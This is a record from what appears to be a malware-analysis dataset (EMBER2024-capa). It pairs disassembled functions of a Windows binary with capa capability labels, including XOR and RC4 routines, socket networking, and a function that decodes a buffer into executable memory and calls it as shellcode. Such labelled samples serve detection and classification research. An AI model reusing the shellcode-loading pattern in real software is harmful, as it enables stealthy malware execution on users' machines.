joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004e880
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x250
mov rax, qword [0x1403bb2d8]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov r14, qword [rsp + 0x2b0]
mov r15d, r8d
mov rsi, rdx
xor eax, eax
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov r12, r9
mov word [rsp + 0x30], ax
call fcn.1402547c0
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebp, dword [r15 + rsi - 4]
lea rcx, [r15 - 4]
lea edi, [r15 - 4]
call fcn.140254ec0
lea r8, [r15 - 4]
mov rcx, rax
xor edx, edx
mov r13, rax
call fcn.1402547c0
lea r8, [r15 - 4]
mov rdx, rsi
mov rcx, r13
call fcn.1402550b0
movsxd r11, edi
test edi, edi
jle 0x14004e92d
mov rcx, r13
xor byte [rcx], bpl
inc rcx
dec r11
jne 0x14004e922
mov dword [rsp + 0x20], 0
mov eax, dword [r13]
mov ecx, eax
mov dword [rsp + 0x20], eax
call fcn.140254ec0
mov r8d, dword [rsp + 0x20]
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1402547c0
lea edx, [r15 - 4]
lea rcx, [r13 + 4]
lea r9, [rsp + 0x20]
mov r8, rdi
call fcn.1400029e0
test eax, eax
jne 0x14004e9df
movsxd rdx, dword [rsp + 0x20]
mov rcx, rdx
test edx, edx
jle 0x14004e98f
mov rax, rdi
nop
xor byte [rax], 0xa4
inc rax
dec rcx
jne 0x14004e980
mov edx, dword [rsp + 0x20]
test r12, r12
jne 0x14004e99f
lea eax, [rdx + 0x20c]
mov dword [r14], eax
jmp 0x14004e9df
mov ebx, edx
mov r8d, edx
mov rcx, r12
mov rdx, rdi
call fcn.1402550b0
mov dword [rbx + r12], 0x208
mov eax, dword [rsp + 0x20]
lea rdx, [rsp + 0x30]
lea rcx, [rax + r12 + 4]
mov r8d, 0x208
call fcn.1402550b0
mov r11d, dword [rsp + 0x20]
add r11d, 0x20c
mov dword [r14], r11d
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140254f60
mov rbx, qword [rsp + 0x290]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14004ed90
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor edi, edi
mov rsi, rdx
mov rbx, rcx
test r8d, r8d
je 0x14004ee1c
mov rdx, qword [rcx + 0x38]
mov rcx, qword [rcx + 0x30]
lea r8d, [rdi + 0x30]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14004eee2
cmp word [rsi], 2
mov rcx, qword [rbx + 0x30]
mov eax, reloc.WS2_32.dll_recv
mov r8d, 0x1c
mov rdx, rsi
cmove r8d, eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14004ee05
cmp eax, 0xffffffff
jne 0x14004eee2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14004eee2
mov edi, 1
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rcx + 0x30]
mov edx, 1
call fcn.140002580
test eax, eax
je 0x14004ee39
mov ecx, 0x80004005
call fcn.1400011f0
int3
cmp word [rsi], 2
mov rcx, qword [rbx + 0x30]
mov eax, reloc.WS2_32.dll_recv
mov r8d, 0x1c
mov rdx, rsi
cmove r8d, eax
call qword [sym.imp.WS2_32.dll_connect]
mov esi, eax
test eax, eax
je 0x14004ee6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
jne 0x14004eee2
cmp esi, 0xffffffff
jne 0x14004ee7f
mov edx, dword [rbx + 0x4c]
mov rcx, qword [rbx + 0x30]
call fcn.140002fd0
mov esi, eax
test esi, esi
jne 0x14004eeda
mov rdx, qword [rbx + 0x38]
mov rcx, qword [rbx + 0x30]
lea r8d, [rsi + 0x23]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14004eee2
mov dword [rbx + 0x78], 1
xor ecx, ecx
mov dword [rbx + 0x7c], 1
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11, qword [rbx]
mov rcx, rbx
call qword [r11 + 0x180]
cmp eax, 2
jne 0x14004ee05
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov ecx, eax
jmp 0x14004eedc
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x14004f0e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x21c]
mov rbx, rcx
test eax, eax
jne 0x14004f1de
nop dword [rax + rax]
mov r8d, dword [rbx + 0x50]
mov rdx, qword [rbx + 0x90]
mov rcx, qword [rbx + 0x30]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x14004f187
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9, qword [rbx]
mov rdx, qword [rbx + 0x90]
mov r8d, edi
mov rcx, rbx
call qword [r9 + 0x1a0]
cmp eax, 2
jne 0x14004f190
mov rdx, qword [rbx + 0x40]
lea rcx, str._C_CNNID:__Iu__OnReceive___event_return_HR_ERROR__connection_will_be_closed___n
call fcn.14004e770
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x20], 1
mov dword [rbx + 0x24], 4
mov dword [rbx + 0x28], eax
mov dword [rbx + 0x2c], 1
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp eax, 0xffffffff
je 0x14004f1d1
test eax, eax
je 0x14004f1ae
mov eax, dword [rbx + 0x21c]
test eax, eax
je 0x14004f100
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov dword [rbx + 0x20], 1
mov qword [rbx + 0x24], 5
mov dword [rbx + 0x2c], 1
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14004f162
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14004f2a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x40
mov rsi, rcx
mov ecx, dword [0x1403b41d0]
mov r13, r8
mov rbp, rdx
call fcn.140002a40
mov ecx, eax
mov dword [rsp + 0x34], eax
call fcn.140254ec0
mov edx, dword [0x1403b41d0]
lea r9, [rsp + 0x34]
lea rcx, [0x140003df0]
mov r8, rax
mov rdi, rax
call fcn.140003110
movsxd rbx, dword [0x1403b41d0]
mov rcx, rbx
call fcn.140253f20
mov edx, dword [rsp + 0x34]
lea r9, [rsp + 0x30]
mov r8, rax
mov rcx, rdi
mov r12, rax
mov dword [rsp + 0x30], ebx
call fcn.1400029e0
test eax, eax
jne 0x14004f48d
mov r8d, dword [rsp + 0x30]
mov dword [rsp + 0x78], eax
lea rax, [rsp + 0x78]
xor r9d, r9d
mov rdx, r12
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.14004e880
mov r11d, dword [rsp + 0x78]
test r11d, r11d
je 0x14004f3a2
mov r9d, 0x40
mov r8d, 0x1000
mov edx, r11d
xor ecx, ecx
mov ebx, r11d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1402547c0
mov r8d, dword [rsp + 0x30]
lea r11, [rsp + 0x78]
mov r9, rdi
mov rdx, r12
mov rcx, rsi
mov qword [rsp + 0x20], r11
call fcn.14004e880
lea r11, [rdi + 4]
mov rcx, rdi
call r11
mov eax, dword [rbp + 0x30]
sub eax, dword [rbp + 0x28]
je 0x14004f440
nop
mov r8d, dword [rsi + 0x50]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rsi + 0x30]
cmp eax, r8d
cmovl r8d, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov edi, eax
test eax, eax
jle 0x14004f42f
lea rcx, [rsi + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rsi + 0x218], edi
lea rcx, [rsi + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9, qword [rsi]
mov rdx, qword [rbp + 0x28]
mov r8d, edi
mov rcx, rsi
call qword [r9 + 0x190]
cmp eax, 2
jne 0x14004f423
mov rdx, qword [rsi + 0x40]
lea rcx, str._C_CNNID:__Iu__OnSend___event_should_not_return_HR_ERROR____n
call fcn.14004e770
mov edx, edi
mov rcx, rbp
call fcn.140050920
jmp 0x14004f434
cmp eax, 0xffffffff
je 0x14004f45e
mov eax, dword [rbp + 0x30]
sub eax, dword [rbp + 0x28]
jne 0x14004f3b0
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14004f475
mov dword [r13], 1
jmp 0x14004f440
mov dword [rsi + 0x20], 1
mov dword [rsi + 0x24], 3
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], 1
xor eax, eax
jmp 0x14004f445

Function at 0x140050610
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rcx + 0x70]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
lea r8, [0x140050380]
xor edi, edi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call fcn.140253c2c
test rax, rax
mov qword [rbx + 0x68], rax
mov rbx, qword [rsp + 0x40]
setne dil
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x140058d40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov dword [rsp + 0x10], 0x3020100
mov r9d, dword [rsp + 0x10]
mov r10, rcx
mov rcx, qword [r8 + 0x1b8]
mov r11, rdx
mov eax, 1
mov dword [r8 + 0x1c4], r9d
add r9d, 0x4040404
inc rax
mov dword [r8 + rax*4 + 0x1c0], r9d
cmp rax, rcx
jbe 0x140058d66
xor r9d, r9d
test rdx, rdx
je 0x140058dc0
movzx ecx, byte [r10]
movsxd rdx, ecx
or r9, rcx
movzx eax, byte [rdx + r8 + 0x1c4]
mov byte [r10], al
mov byte [r8 + 0x1c3], al
movzx eax, byte [r8 + rdx + 0x1c3]
dec rdx
mov byte [r8 + rdx + 0x1c5], al
jns 0x140058da2
inc r10
dec r11
jne 0x140058d85
shr r9, 2
mov qword [r8 + 0x1b8], r9
ret
Function at 0x1400a58c0
Capabilities:
Encode data using add xor sub operations

Disassembly:
mov eax, 8
call fcn.1402563a0
sub rsp, rax
xor r10d, r10d
mov r11, rcx
test rcx, rcx
je 0x1400a594b
movzx eax, byte [rcx]
test al, al
je 0x1400a594b
mov qword [rsp], rbx
mov ebx, 0x100
nop dword [rax + rax]
movsx r9d, al
mov edx, r10d
mov eax, r10d
or r9d, ebx
inc r11
mov ecx, 0x20
mov r8d, r9d
add ebx, 0x100
shr r8d, 2
xor r8d, r9d
and r8d, 0xf
sub ecx, r8d
shr rdx, cl
mov ecx, r8d
imul r9d, r9d
shl eax, cl
mov r10d, edx
or r10d, eax
movzx eax, byte [r11]
xor r10d, r9d
test al, al
jne 0x1400a58f0
mov rbx, qword [rsp]
mov eax, r10d
shr eax, 0x10
xor eax, r10d
add rsp, 8
ret
xor eax, eax
add rsp, 8
ret

Function at 0x1400a5960
Capabilities:
Encode data using add xor sub operations

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x20
call fcn.1402563a0
sub rsp, rax
xor ebx, ebx
mov rdi, rcx
test rcx, rcx
je 0x1400a59f2
movzx eax, byte [rcx]
test al, al
je 0x1400a59f2
mov qword [rsp + 0x30], rsi
mov esi, 0x100
nop
movsx ecx, al
call fcn.1400f6270
mov edx, ebx
inc rdi
mov r11d, eax
mov eax, ebx
mov ecx, 0x20
or r11d, esi
add esi, 0x100
mov r8d, r11d
shr r8d, 2
xor r8d, r11d
and r8d, 0xf
sub ecx, r8d
shr rdx, cl
mov ecx, r8d
imul r11d, r11d
shl eax, cl
mov ebx, edx
or ebx, eax
movzx eax, byte [rdi]
xor ebx, r11d
test al, al
jne 0x1400a5990
mov rsi, qword [rsp + 0x30]
mov eax, ebx
shr eax, 0x10
xor eax, ebx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
xor eax, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400bd8e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov rbx, r9
mov r9, rcx
xor r11d, r11d
xor cl, cl
mov r10, rdx
test r9, r9
je 0x1400bd967
test rdx, rdx
je 0x1400bd967
movzx eax, byte [r9]
test r8d, r8d
jne 0x1400bd91a
cmp rax, 0x7f
jbe 0x1400bd95f
mov r11d, 1
mov edx, r11d
add rdx, r10
jmp 0x1400bd96f
mov cl, 0xff
cmp rax, 0x80
jbe 0x1400bd932
mov r11d, 1
mov edx, r11d
add rdx, r10
jmp 0x1400bd96f
jne 0x1400bd95f
mov edx, 1
cmp rdx, r10
jae 0x1400bd950
nop
movzx eax, byte [rdx + r9]
inc rdx
or r11d, eax
cmp rdx, r10
jb 0x1400bd940
neg r11d
sbb cl, cl
movzx ecx, cl
mov r11d, ecx
and r11d, 1
mov edx, r11d
add rdx, r10
jmp 0x1400bd96f
mov edx, 1
mov r10, r11
test rbx, rbx
je 0x1400bd9bf
mov rax, qword [rbx]
test rax, rax
je 0x1400bd9bf
mov r8d, r11d
mov byte [rax], cl
movzx r11d, cl
add r8, rax
mov eax, r11d
and eax, 1
test r10, r10
je 0x1400bd9bc
add r8, r10
nop word [rax + rax]
movzx ecx, byte [r10 + r9 - 1]
dec r10
dec r8
xor ecx, r11d
add eax, ecx
mov byte [r8], al
shr eax, 8
test r10, r10
jne 0x1400bd9a0
add qword [rbx], rdx
mov rbx, qword [rsp + 8]
mov rax, rdx
ret

Function at 0x1400bd9d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x28
call fcn.1402563a0
sub rsp, rax
mov r10, rcx
test r9, r9
jne 0x1400bda1a
call fcn.1400baef0
lea r8, str.c2i_ibuf
lea rcx, str.crypto_asn1_a_int.c
mov edx, 0xa0
call fcn.1400baf60
xor r8d, r8d
mov edx, 0xde
lea ecx, [r8 + 0xd]
call fcn.1400bb1b0
xor eax, eax
add rsp, 0x28
ret
movzx r11d, byte [r8]
and r11d, 0x80
test rdx, rdx
je 0x1400bda2d
mov dword [rdx], r11d
cmp r9, 1
jne 0x1400bda51
test rcx, rcx
je 0x1400bda47
movzx eax, byte [r8]
test r11d, r11d
je 0x1400bda45
not al
inc al
mov byte [rcx], al
mov eax, 1
add rsp, 0x28
ret
movzx eax, byte [r8]
mov qword [rsp + 0x20], rbx
xor ebx, ebx
test al, al
jne 0x1400bda67
mov ebx, 1
jmp 0x1400bda98
cmp al, 0xff
jne 0x1400bdae1
mov ecx, 1
mov edx, ebx
cmp rcx, r9
jae 0x1400bda8f
nop word [rax + rax]
movzx eax, byte [rcx + r8]
inc rcx
or edx, eax
cmp rcx, r9
jb 0x1400bda80
test edx, edx
setne bl
test ebx, ebx
je 0x1400bdae1
movzx eax, byte [r8 + 1]
and eax, 0x80
cmp r11d, eax
jne 0x1400bdae1
call fcn.1400baef0
lea r8, str.c2i_ibuf
lea rcx, str.crypto_asn1_a_int.c
mov edx, 0xc1
call fcn.1400baf60
xor r8d, r8d
mov edx, 0xdd
lea ecx, [r8 + 0xd]
call fcn.1400bb1b0
mov rbx, qword [rsp + 0x20]
xor eax, eax
add rsp, 0x28
ret
movsxd rcx, ebx
sub r9, rcx
test r10, r10
je 0x1400bdb2c
neg r11d
mov rdx, r9
sbb al, al
add r8, rcx
movzx eax, al
mov ecx, eax
mov r11d, eax
and ecx, 1
test r9, r9
je 0x1400bdb2c
add r8, r9
nop word [rax + rax]
movzx eax, byte [r8 - 1]
dec r8
dec rdx
xor eax, r11d
add ecx, eax
mov byte [rdx + r10], cl
shr ecx, 8
test rdx, rdx
jne 0x1400bdb10
mov rax, r9
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
ret

Function at 0x1400bdb40
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x28
call fcn.1402563a0
sub rsp, rax
mov r8d, dword [rcx + 4]
mov r9, rdx
movsxd rdx, dword [rcx]
mov rcx, qword [rcx + 8]
and r8d, 0x100
add rsp, 0x28
jmp fcn.1400bd8e0
Function at 0x1400c48a0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
mov eax, 0x20
call fcn.1402563a0
sub rsp, rax
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [rbx], eax
setne cl
mov eax, ecx
add rsp, 0x20
pop rbx
ret

Function at 0x1400c4910
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.1402563a0
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x1400f2d80
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
mov eax, 0x20
call fcn.1402563a0
sub rsp, rax
mov rdi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x60]
movzx ebp, r9w
mov qword [rdi], 0
mov r12d, r8d
mov r13d, edx
mov byte [r14], 0
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
test rax, rax
je 0x1400f2e5a
cmp word [rax + 0x10], 2
mov qword [rsp + 0x40], rbx
jne 0x1400f2e1d
cmp word [rax + 0x12], 4
jne 0x1400f2e1d
mov rbx, qword [rax + 0x18]
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400f2e1d
mov r9d, dword [rcx]
movzx r8d, bp
mov edx, r12d
mov ecx, r13d
call fcn.1400f2cd0
mov qword [rdi], rax
test rax, rax
je 0x1400f2e53
mov rcx, qword [rbx + 8]
add rbx, 8
lea rdi, [rax + 0x28]
test rcx, rcx
jne 0x1400f2df2
mov r8, qword [rsi]
mov r9d, 0x400
mov rcx, r14
lea edx, [r9 + 1]
call fcn.1402589ac
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
mov eax, 8
jmp 0x1400f2e34
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2af9
je 0x1400f2e71
dec eax
je 0x1400f2e7f
dec eax
je 0x1400f2e78
dec eax
mov eax, 0x2af9
jmp 0x1400f2e39
mov eax, 0x2afb
jmp 0x1400f2e39
mov eax, 0x2afa
jmp 0x1400f2e39
Function at 0x1400f36f0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
mov eax, 0x280
call fcn.1402563a0
sub rsp, rax
mov rax, qword [0x1403bb2d8]
xor rax, rsp
mov qword [rsp + 0x270], rax
cmp dword [0x1403bd624], 0
lea rax, [0x1400f3160]
lea rbx, [0x14030dc78]
mov qword [rsp + 0x28], rax
lea rax, str.getnameinfo
movzx ebp, cx
mov qword [rsp + 0x30], rax
lea rax, [0x1400f3480]
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x38], rax
lea rax, [0x14030dc58]
mov qword [rsp + 0x40], rax
lea rax, [fcn.1400f3100]
mov qword [rsp + 0x48], rax
jne 0x1400f38c9
lea rcx, [rsp + 0x160]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1400f38bf
lea r8, [rsp + 0x160]
lea rcx, [rsp + 0x50]
mov edx, 0x10c
mov qword [rsp + 0x290], rsi
call fcn.140258948
lea r8, str.ws2_32
lea rcx, [rsp + 0x50]
mov edx, 0x10c
call fcn.140258d3c
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1400f37ea
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400f384a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea r8, [rsp + 0x160]
lea rcx, [rsp + 0x50]
mov edx, 0x10c
call fcn.140258948
lea r8, str.wship6
lea rcx, [rsp + 0x50]
mov edx, 0x10c
call fcn.140258d3c
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1400f38b7
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400f384a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400f38b7
mov qword [rsp + 0x298], rdi
lea rbx, [rsp + 0x28]
xor edi, edi
nop dword [rax]
mov rdx, qword [rbx - 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
test rax, rax
je 0x1400f38a6
inc edi
add rbx, 0x10
cmp edi, 3
jl 0x1400f3860
mov rax, qword [rsp + 0x28]
mov qword [0x1403b94b0], rax
mov rax, qword [rsp + 0x38]
mov qword [0x1403b94c0], rax
mov rax, qword [rsp + 0x48]
mov qword [fcn.1400f3100], rax
jmp 0x1400f38af
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdi, qword [rsp + 0x298]
mov rsi, qword [rsp + 0x290]
mov dword [0x1403bd624], 1
movzx eax, bp
lea rcx, [0x1403b94a8]
add rax, rax
mov rax, qword [rcx + rax*8 + 8]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140254f60
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x280
pop rbp
ret
Function at 0x1400f4200
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x28
call fcn.1402563a0
sub rsp, rax
cmp dword [0x1403bd7d8], 0
jne 0x1400f42b8
lea rcx, [0x1403bd640]
xor edx, edx
mov r8d, 0x198
mov dword [0x1403bd7d8], 1
call fcn.1402547c0
lea rdx, [0x1403bd640]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400f42b8
call fcn.1400baef0
lea r8, str.BIO_sock_init
lea rcx, str.crypto_bio_bio_sock.c
mov edx, __WSAFDIsSet
call fcn.1400baf60
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_wsastartup__
mov edx, eax
mov ecx, 2
call fcn.1400bb1b0
call fcn.1400baef0
lea r8, str.BIO_sock_init
lea rcx, str.crypto_bio_bio_sock.c
mov edx, __WSAFDIsSet
call fcn.1400baf60
xor r8d, r8d
lea edx, [r8 + 0x7a]
lea ecx, [rdx - 0x5a]
call fcn.1400bb1b0
or eax, 0xffffffff
add rsp, 0x28
ret
mov eax, 1
add rsp, 0x28
ret

Function at 0x1400f4300
Capabilities:
Set socket configuration

Disassembly:
push rbx
mov eax, 0x20
call fcn.1402563a0
sub rsp, rax
mov dword [rsp + 0x30], edx
lea r8, [rsp + 0x30]
movsxd rcx, ecx
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov ebx, eax
test eax, eax
jns 0x1400f4362
call fcn.1400baef0
lea r8, str.BIO_socket_ioctl
lea rcx, str.crypto_bio_bio_sock.c
mov edx, 0xd1
call fcn.1400baf60
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_ioctlsocket__
mov edx, eax
mov ecx, 2
call fcn.1400bb1b0
xor eax, eax
test ebx, ebx
sete al
add rsp, 0x20
pop rbx
ret

Function at 0x1400f4370
Capabilities:
Get socket status

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x260
call fcn.1402563a0
sub rsp, rax
mov rax, qword [0x1403bb2d8]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbx, r8
mov esi, edx
mov edi, ecx
cmp ecx, 0x3f
ja 0x1400f4403
test rbx, rbx
jne 0x1400f43aa
lea eax, [r8 + 1]
jmp 0x1400f4406
xor ecx, ecx
call fcn.140253ec0
mov r11, rax
cmp rbx, rax
jge 0x1400f43bd
xor eax, eax
jmp 0x1400f4406
xor eax, eax
sub ebx, r11d
test esi, esi
mov dword [rsp + 0x34], eax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x40]
cmovne r8, rax
cmove rdx, rax
lea rax, [rsp + 0x30]
lea ecx, [rdi + 1]
xor r9d, r9d
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x30], ebx
call qword [sym.imp.WS2_32.dll_select]
jmp 0x1400f4406
or eax, 0xffffffff
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140254f60
add rsp, 0x260
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400fce70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r10d, r10d
mov rbx, rdx
mov rdi, rcx
movsxd r11, r8d
test r8d, r8d
jle 0x1400fcead
mov r9, rdx
sub rcx, rdx
neg rdx
movzx eax, byte [r9]
cmp byte [rcx + r9], al
jne 0x1400fcead
inc r9
inc r10d
lea rax, [rdx + r9]
cmp rax, r11
jl 0x1400fce94
lea edx, [r8 - 1]
movsxd rcx, edx
test edx, edx
js 0x1400fced8
mov r8, rdi
lea rax, [rcx + rbx]
sub r8, rbx
cmp byte [rax + r8], 0
jne 0x1400fced8
cmp byte [rax], 0xff
jne 0x1400fced8
dec edx
dec rax
dec rcx
jns 0x1400fcec2
cmp r10d, edx
jl case.0x1400fcf31.2
jle 0x1400fcef6
lea eax, [r10*8]
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
movsxd rax, r10d
movzx r8d, byte [rax + rbx]
movzx r9d, byte [rax + rdi]
movzx edx, r8b
xor dl, r9b
movzx eax, dl
dec eax
cmp eax, 0x7e
ja case.0x1400fcf31.2
lea r11, [0x140000000]
cdqe
movzx eax, byte [r11 + rax + 0xfcfac]
mov ecx, dword [r11 + rax*4 + 0xfcf8c]
add rcx, r11
jmp rcx
mov eax, 7
jmp 0x1400fcf62
mov eax, 6
jmp 0x1400fcf62
mov eax, 5
jmp 0x1400fcf62
mov eax, 4
jmp 0x1400fcf62
mov eax, 3
jmp 0x1400fcf62
mov eax, 2
jmp 0x1400fcf62
mov eax, 1
test dl, r9b
jne case.0x1400fcf31.2
and r8b, dl
cmp r8b, dl
jne case.0x1400fcf31.2
lea eax, [rax + r10*8]
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
or eax, 0xffffffff
ret

Function at 0x14011a970
Capabilities:
Encode data using xor

Disassembly:
push rdi
movsxd rdi, r9d
mov r10, r8
mov r11, rdx
cmp rdx, r8
je 0x14011aa24
movsxd rdx, dword [rdx + 8]
mov qword [rsp + 0x10], rbx
lea rbx, [rcx - 1]
not rcx
shr rbx, 0x3f
xor r9d, r9d
shr rcx, 0x3f
and rbx, rcx
movsxd rcx, dword [r8 + 8]
xor rcx, rdx
dec rbx
and rcx, rbx
xor edx, ecx
mov dword [r11 + 8], edx
xor dword [r8 + 8], ecx
movsxd rdx, dword [r11 + 0x10]
movsxd rcx, dword [r8 + 0x10]
xor rcx, rdx
and rcx, rbx
xor edx, ecx
mov dword [r11 + 0x10], edx
xor dword [r8 + 0x10], ecx
mov ecx, dword [r11 + 0x14]
mov eax, dword [r8 + 0x14]
xor rax, rcx
and eax, 4
and rax, rbx
xor ecx, eax
mov dword [r11 + 0x14], ecx
xor dword [r8 + 0x14], eax
test rdi, rdi
jle 0x14011aa1f
mov rax, qword [r10]
mov r8, qword [r11]
inc r9
mov rcx, qword [r8 + r9*8 - 8]
mov rdx, qword [rax + r9*8 - 8]
xor rdx, rcx
and rdx, rbx
xor rcx, rdx
mov qword [r8 + r9*8 - 8], rcx
mov rax, qword [r10]
xor qword [rax + r9*8 - 8], rdx
cmp r9, rdi
jl 0x14011a9f1
mov rbx, qword [rsp + 0x10]
pop rdi
ret